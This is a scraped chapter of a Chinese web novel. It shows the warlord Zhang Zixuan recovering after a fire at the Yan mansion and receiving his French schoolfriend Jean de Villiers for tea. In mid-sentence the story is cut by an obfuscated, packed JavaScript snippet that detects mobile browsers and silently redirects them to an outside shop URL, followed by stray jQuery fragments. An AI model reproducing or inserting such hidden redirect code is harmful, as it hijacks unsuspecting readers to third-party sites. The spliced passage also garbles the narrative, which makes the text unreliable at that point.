文趣网 > 其他小说 > 无相人间 > 17. 洋茶
    言家祖宅那一夜,烧了半边天。

    滇军封宅的时候,整条长街都能闻见焦味。后堂塌了半边,黑瓦碎了一地,地上满是被火烧焦的血线虫尸。那东西离了黑陶瓮,本还在地上疯狂扭动,可滇军的喷火枪一压过去,立刻就缩成黑炭,烧得噼啪作响。

    后院里,碎掉的黑陶瓮滚得到处都是。

    最后一只血线虫被烧干净时,言家主已经退进了暗道。

    准确地说,是逃。

    小神锋那一刀削得极狠,连黑玉壳带血肉,一起削掉了他左手三根手指。黑血溅在墙上,竟带着一股腐臭甜味。言家主踉跄后退时,脸上第一次没了那股从容。

    可即便如此,他还是笑了。

    暗道石门合上的最后一瞬,他望着站在火光里的张子轩,声音轻得像叹息:

    “张阎王。”

    “辰州等你。”

    下一秒,石门轰然闭死。

    ——

    这一夜之后,帅府安静了三天。

    言家大房被封,腾冲各路暗线同时失踪,像有什么东西忽然缩回了水底。滇军连夜搜查无相馆旧址,乱葬岗又挖出七具尸体,后脑皆空,死状与前十三人一模一样。

    而张子轩,被军医强行按在了府里养伤。

    准确地说,是整个帅府一起逼着他养。

    副官们的公文堆满了外厅,谁也不敢送进去。秦照被迫代批了两天军务,他骂人的声音从前院一路传到后院。墨儿守在门口,刀都没离过身。

    第三日下午,天终于放晴。

    后院那株老玉兰被雨打落了一地白瓣,空气里浮着潮湿的花香。张子轩靠在窗边翻账本,肩上的伤重新换了药,浅灰衬衫领口微敞,没穿军装,也没戴肩章。

    阳光落在他侧脸上,淡了那股常年压着人的冷意。

    更……像个活人了。

    墨儿端着药进来时,脚步都顿了一下。

    他家少爷平日总穿得严丝合缝,黑军装、武装带、金穗肩章,像把上了鞘的刀。如今病着,头发没怎么梳,额前碎发落下来,反倒显出一点留洋公子的模样。

    不像张阎王。

    倒像很多年前,别人嘴里那个“William Zhang”。

    “少爷,”墨儿把药放下,“军医说您今天必须休息。”

    “我现在不是在休息?”

    “您手里的账本已经看了一个多小时了。”

    张子轩终于抬眼。

    墨儿被看得后背一凉,但还是硬着头皮站着。

    就在这时,门外脚步声响起。

    陈玉楼进来了。

    他换回了那身月白长衫,却没戴眼镜,折扇别在腰后,小神锋已经归鞘。皇家内甲解了,领口微敞,里衣上还留着一道被血线虫抽出来的红痕,颜色极深,从锁骨一路划进衣襟。

    他像没事人一样,自己拉了把椅子坐下。

    “言家大房跑了。”陈玉楼把折扇往桌上一搁,“二房在辰州,饵断了,鱼也惊了。”

    “嗯。”张子轩翻过一页账本,“他左手那块黑玉,叫‘无相壳’。赵有财喂了一年,才长三根手指。”

    陈玉楼夜眼微微眯起。

    “拿活人喂。”他声音沉了几分,“我卸岭的规矩,刨坟不伤活人。他言家倒好,拿活人当引子。”

    屋里忽然静下来。

    昨夜还刀对刀、枪对枪,默契得像一起下过十次墓。可天一亮,归烬山二十七条命,乱葬岗十二个兵的账,又重新横在两人中间。

    没人提。

    但谁都没忘。

    就在这时,外头忽然传来一阵法语。

    声音不大,却极流利。

    墨儿愣了一下,还没反应过来,副官已经快步走到门外。

    “少爷。”

    “说。”

    “法国领事馆来人了。”

    张子轩翻账本的动作,第一次停住。

    屋里忽然静了。

    “谁。”

    副官迟疑了一下。

    “他说……他叫 Jean de Villiers。”

    空气像被什么轻轻压了一瞬。

    陈玉楼原本正在转折扇的手,慢慢停了。

    张子轩沉默了很久。

    最后才低低说了一句:

    “让他进来。”

    ——

    十分钟后,陈玉楼第一次见到了 Jean de Villiers。

    高个子,金发,深灰西装,外头罩着长风衣,手里还提着黑礼帽。鼻梁很高,眼睛是偏冷的灰蓝色,站在中式庭院里,竟有种奇异的协调感。

    最重要的是——

    他看见张子轩时,居然直接笑了。

    不是对张督统那种客套的笑。

    是真正熟人才有的笑。

    “William.”

    这一声落下,整个院子都静了一瞬。

    连红姑娘都下意识抬了头。

    陈玉楼站在廊下,忽然发现:

    原来张子轩这个人,被人这样叫的时候,真的会回头。

    而不是冷冷看过去。

    “Jean.”

    张子轩开口时,声音居然比平时低一些。

    Jean de Villiers走近,灰蓝色眼睛上下扫了他一遍,眉头立刻皱了起来。

    “Mon Dieu… William, qu’est-ce que tu as encore fait ?”

    (老天,William,你这次又把自己折腾成什么样了?)

    张子轩淡淡回了一句:

    “Je suis encore v

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932455|213645||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ivant.”

    (我还活着。)

    “? peine.”

    (勉强算是。)

    Jean语气里带着明显的不满,伸手便去拆他肩上的绷带。

    旁边副官差点拔枪。

    整个云南,敢这么碰张阎王的人,几乎没有。

    可张子轩居然没动。

    只是皱了下眉。

    Jean低头检查伤口,脸色一点点沉下去。

    “Blessure déchirée, infection, fièvre…”

    (伤口撕裂,感染,还有发烧……)

    他抬头,法语忽然压低:

    “William, tu n’as jamais appris à prendre soin de toi.”

    (William,你从来不会照顾自己。)

    张子轩终于开口:

    “Jean.”

    “Oui ?”

    “Taisez-vous.”

    (闭嘴。)

    Jean居然笑了。

    “陈掌柜,这位是我当年在法兰西留学期间的老同学,Jean。”,张子轩给两人介绍,“这位乃常胜山卸岭总把头陈玉楼,陈掌柜。”

    陈玉楼站在旁边,忽然觉得有一种奇怪的感觉。

    因为这一刻的张子轩,和他认识的那个张大帅,像是两个人。

    一个在云南。

    一个在巴黎。

    而后者,是他从未见过的。

    ——

    傍晚时,Jean被留下用了晚餐。

    帅府难得没谈军务,也没提言家。

    只有茶。

    洋茶。

    白瓷杯里浮着淡金色茶汤,窗外夕阳落下来,把整间屋子染成暖色。

    Jean低头闻了闻,忽然笑了。

    “你还留着这个习惯。”

    “什么。”

    “喝锡兰红茶,不放糖。”

    张子轩靠在椅背上,淡淡道:

    “国内买不到太好的。”

    “可你以前明明只喝巴黎左岸那一家。”

    陈玉楼终于忍不住了。

    “张大帅。”

    “嗯?”

    “你以前到底是去留学,还是去享福的?”

    屋里静了一瞬。

    Jean先笑出了声。

    连张子轩眼底都难得浮起一点极淡的笑意。

    “都不是。”他说,“只是活着。”

    那一刻。

    夕阳落在他眼角那颗泪痣上。

    陈玉楼忽然第一次意识到——

    张阎王不是生下来就这么冷的。

    William Zhang,也曾真正为自己活过。